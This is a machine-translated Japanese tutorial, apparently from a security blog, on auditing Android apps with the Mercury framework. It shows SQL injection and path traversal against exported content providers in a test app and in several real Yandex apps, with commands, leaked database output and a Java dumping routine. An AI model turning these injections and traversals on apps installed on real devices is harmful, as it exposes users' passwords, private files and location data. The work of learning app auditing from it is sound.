マーキュリー-Androidバグのメッセンジャー

テスト対象のインストール

1. アプリケーションを実際のデバイスにダウンロードし、adbを使用してコンピューターに転送します。
   
   
   
   
   • デバイスの可用性を確認します。
     
     
     
     

     adb devices
           
           
     
             
             
             
           
     
         
             
             
             
           
           
     
             
             
             
           
     
         
          

     
     
     
   • すべてのインストール済みアプリケーションは、「インストーラー」を/ data / appフォルダーに保存します。
     
     
     
     

      adb pull /data/app/ru.yandex.yandexmaps-1.apk C:\
           
           
     
             
             
             
           
     
         
             
             
             
           
           
     
             
             
             
           
     
         
          

     
     
     Android OSはインストールされた各プログラムの番号付けを使用するため、最後に「-1」または「-2」のいずれかを指定できます。 または、将来の分析のために、/ data / appセクションからインストールされているすべてのアプリケーションをダウンロードできます。
     
     
     
     

      adb pull /data/app path_to_comp
           
           
     
             
             
             
           
     
         
             
             
             
           
           
     
             
             
             
           
     
         
          

     
     
     
     LG電話からすべてのプログラムをコピーする

     

     
     
     
     
     
   
   
   
2. 非公式のAPIでスクリプトを使用します。
   
   
   
   私はpythonで書かれたオプションを使用しています。 これはgithubに投稿されており、javaに類似しています。 その操作には、ユーザー名または他のGoogleアカウントに接続されている実際のデバイスのAndroidIDと、ユーザー名とパスワードまたはAuthTokenが必要です。
   
   
   
   AndroidIDは、USSDコマンドを入力して見つけることができます。
   
   
   
   

    *#*#8255#*#*
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   ここで、援助パラメータはAndroidIDです。 これらはすべてconfig.pyファイルに入力されます。 さらに、たとえば、次のコマンドを使用して、市場にあるすべてのYandexプログラムを検索できます。
   
   
   
   

    search.py yandex
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   
   実行結果

   

   
   
   
   
   
   
   
   
3. Googleがエミュレータでプレイするシャーマニックな方法でインストールします。
   
   
   
   
4. たとえば、サイトからダウンロードします。
   
   W3bsit3 - dns.com- 「クラックされた」プログラムを含む、すべての人気のあるプログラムがありますが、これらはもちろん参照用です。
   
   xda-developers-ほとんどが「無料」またはオープンソースプログラム用のAPKです。
   
   この場合、アプリケーションはブラウザを介してデバイスに直接インストールできます。

• EclipseのDDMS経由で、アプリケーションのインストールボタンを使用します。
• adbコマンド経由：
  
  
  
  

   adb install app.apk
        
        
  
          
          
          
        
  
      
          
          
          
        
        
  
          
          
          
        
  
      
       

脆弱性分析ツールキット

• スカンドロイド
• 水銀

水星で働く

• クライアントは、コンピューター上で実行するpythonプログラムです（* nixとwindowsの両方で正常に動作します）。
• エージェント（1+バージョンでは、この部分はサーバーと呼ばれていました）は、上記の方法のいずれかを使用してインストールできるapkアプリケーションです。

クライアント側のインストール

Linux（Debianライク）

  $ apt-get install build-essential python-dev python-setuptools $ easy_install --allow-hosts pypi.python.org protobuf==2.4.1 $ easy_install twisted==10.2.0
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

  $ easy_install ./mercury-2.2.0-py2.7.egg
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

窓

1. 開始するには、次のプログラムをダウンロードします。
   
   
   • Python： www.python.org/download
   • setuptools： pypi.python.org/pypi/setuptools/0.6c11
   
   
   
2. 次に、次のパラメーターを使用してそれらを実行します。
   
   
   
   

     C:\Python27\Scripts\easy_install.exe --allow-hosts pypi.python.org protobuf==2.4.1 C:\Python27\Scripts\easy_install.exe pyopenssl C:\Python27\Scripts\easy_install.exe pyreadline C:\Python27\Scripts\easy_install.exe twisted==10.2.0
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   
3. Windowsインストーラーを起動します。

Mac OS X

  $ easy_install ./mercury-2.2.0-py2.7.egg
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

設置例

サーバーのインストール

• adb install.apk
• DDMS経由。
• サイトから直接ダウンロードしてインストールします。

カスタマイズ

 adb forward tcp:31415 tcp:31415
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

エミュレーターでエージェントを開始する例

脆弱性を探す

 C:\Python27\Scripts\>python mercury console connect IP
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

水銀コンソールの実行

  mercury console connect IP
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 list
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

リストコマンド出力

• コマンドを実行します：
  
  
  
  

   mercury> run app.package.list
        
        
  
          
          
          
        
  
      
          
          
          
        
        
  
          
          
          
        
  
      
       

  
  
  そしてリストであなたのものを見つけてください。 または、たとえばこの場合、フィルターを追加できます。
  
  
  
  

   mercury> run app.package.list –f sieve
        
        
  
          
          
          
        
  
      
          
          
          
        
        
  
          
          
          
        
  
      
       

  
  
  
• 任意のファイルマネージャーから/ data / dataフォルダー自体を表示します。
• その他...

• SQLインジェクション。
• 任意のファイルを読み取ります（LFI）。

 mercury> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.finduri com.mwr.example.sieve Scanning com.mwr.example.sieve... content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.FileBackupProvider
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | habr | root | uVYNVnRWZxRM355wU3PqdCTpYc8= (Base64-encoded) | root@main.habr |
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM sqlite_master--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email) | | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) | | index | sqlite_autoindex_Key_1 | Key | 6 | null |
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "sqlite_version();--" | sqlite_version() | | 3.7.4 |
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 //    2      -:         sql-   “* FROM sqlite_master--“ //     // uri – content provider // projectionArray –   , : “* FROM sqlite_master—“ public static ArrayList<String> getColumns (ContentResolver resolver, String uri, String[] projectionArray) { ArrayList<String> columns = new ArrayList<String>(); try { Cursor c = resolver.query(Uri.parse(uri), projectionArray, null, null, null); if (c != null) { String [] colNames = c.getColumnNames(); c.close(); for (int k = 0; k < colNames.length; k++) columns.add(colNames[k]); } } catch (Throwable t) {} return columns; } // « »,     -    // target – content-provider // projection –   public String make_shoot(String target, String projection) { ContentResolver r = getContentResolver(); String[] projectionArray = null; if (projection.length() > 0) { projectionArray = new String[1]; int i = 0; projectionArray[i] = projection; } String data = ""; Cursor c = r.query(Uri.parse(target), projectionArray, null, null, null); if (c != null) { ArrayList<String> cols = getColumns(r, target, projectionArray); Iterator<String> it = cols.iterator(); String columns = ""; while (it.hasNext()) columns += it.next() + " | "; data += columns.substring(0, columns.length() - 3); data += "\n\n"; for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext()) { int numOfColumns = c.getColumnCount(); for (int l = 0; l < numOfColumns; l++) { try { data += c.getString(l); } catch (Exception e) { data += "(blob) " + Base64.encodeToString(c.getBlob(l), Base64.DEFAULT); } if (l != (numOfColumns - 1)) data += " | "; } } } return data; }
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../system/etc/hosts 127.0.0.1 localhost
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../../data/data/ru.yandex.disk/databases/disk
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

システム文字のため、カットの下でのコマンドの出力

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../sdcard/Android/data/ru.yandex.disk/files/disk/readme.pdf
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 resolver.openInputStream(uri)
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Work | 37.5732 | 1352196427356 | Work | 2 | 55.7137 : update content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels --string label_name_tolower=Home label_name=Home --where _id=2 query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Home | 37.5732 | 1352196427356 | Home | 2 | 55.7137
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.query content://ru.yandex.rasp/files --projection "* FROM sqlite_master--" type | name | tbl_name | rootpage | sql ..... table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) table | files | files | 4 | CREATE TABLE files (_id integer primary key autoincrement, etag text, last_modified text, name text, region text,last_updated long,UNIQUE (name)) index | sqlite_autoindex_files_1 | files | 5 | null table | sqlite_sequence | sqlite_sequence | 6 | CREATE TABLE sqlite_sequence(name,seq) table | recent_stations | recent_stations | 7 | CREATE TABLE recent_stations (_id integer primary key autoincrement, region text, is_meta int,station_id text, UNIQUE (station_id, region)) index | sqlite_autoindex_recent_stations_1 | recent_stations | 8 | null table | favourite_stations | favourite_stations | 9 | CREATE TABLE favourite_stations (_id integer primary key autoincrement, station1 text, station1_meta int,station1_title text, station2 text,station2_meta int,station2_title text, current_from text, data_state int, identifier text, mirror_presented int, UNIQUE (identifier)) index | sqlite_autoindex_favourite_stations_1 | favourite_stations | 10 | null
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 mercury> run app.provider.update content://ru.yandex.rasp/files --string name "/system/sdcard/hack.txt” --where _id=2 _id | etag | last_modified | name | region | last_updated ..... 2 | 9bcbdc0620af50eadead14cdee81a1ded08f0259 | null | /system/sdcard/hack.txt | 213 | 1352462705854 1 | 548f13c285590c4bc8df665613d2d80e7be4678a | null | /data/data/ru.yandex.rasp/cache/all_cities.cache | | 1352462705064
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

• 内容：//ru.yandex.taxi/history-名前が示すように、検索と呼び出しの両方の履歴へのアクセスを許可しました。
• 内容：//ru.yandex.taxi/delay_order-注文履歴へのアクセス。

水星の他の機能

• scanner.provider.injection-SQLインジェクションの可能性をテストします
• scanner.provider.traversal-使用可能なファイルを読み取る機能のテスト

パス開示脆弱性スキャナーの例

 mercury> run scanner.misc.readablefiles This command requires BusyBox to complete. Run tools.setup.busybox and then retry. mercury> run tools.setup.busybox BusyBox installed. mercury>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

おわりに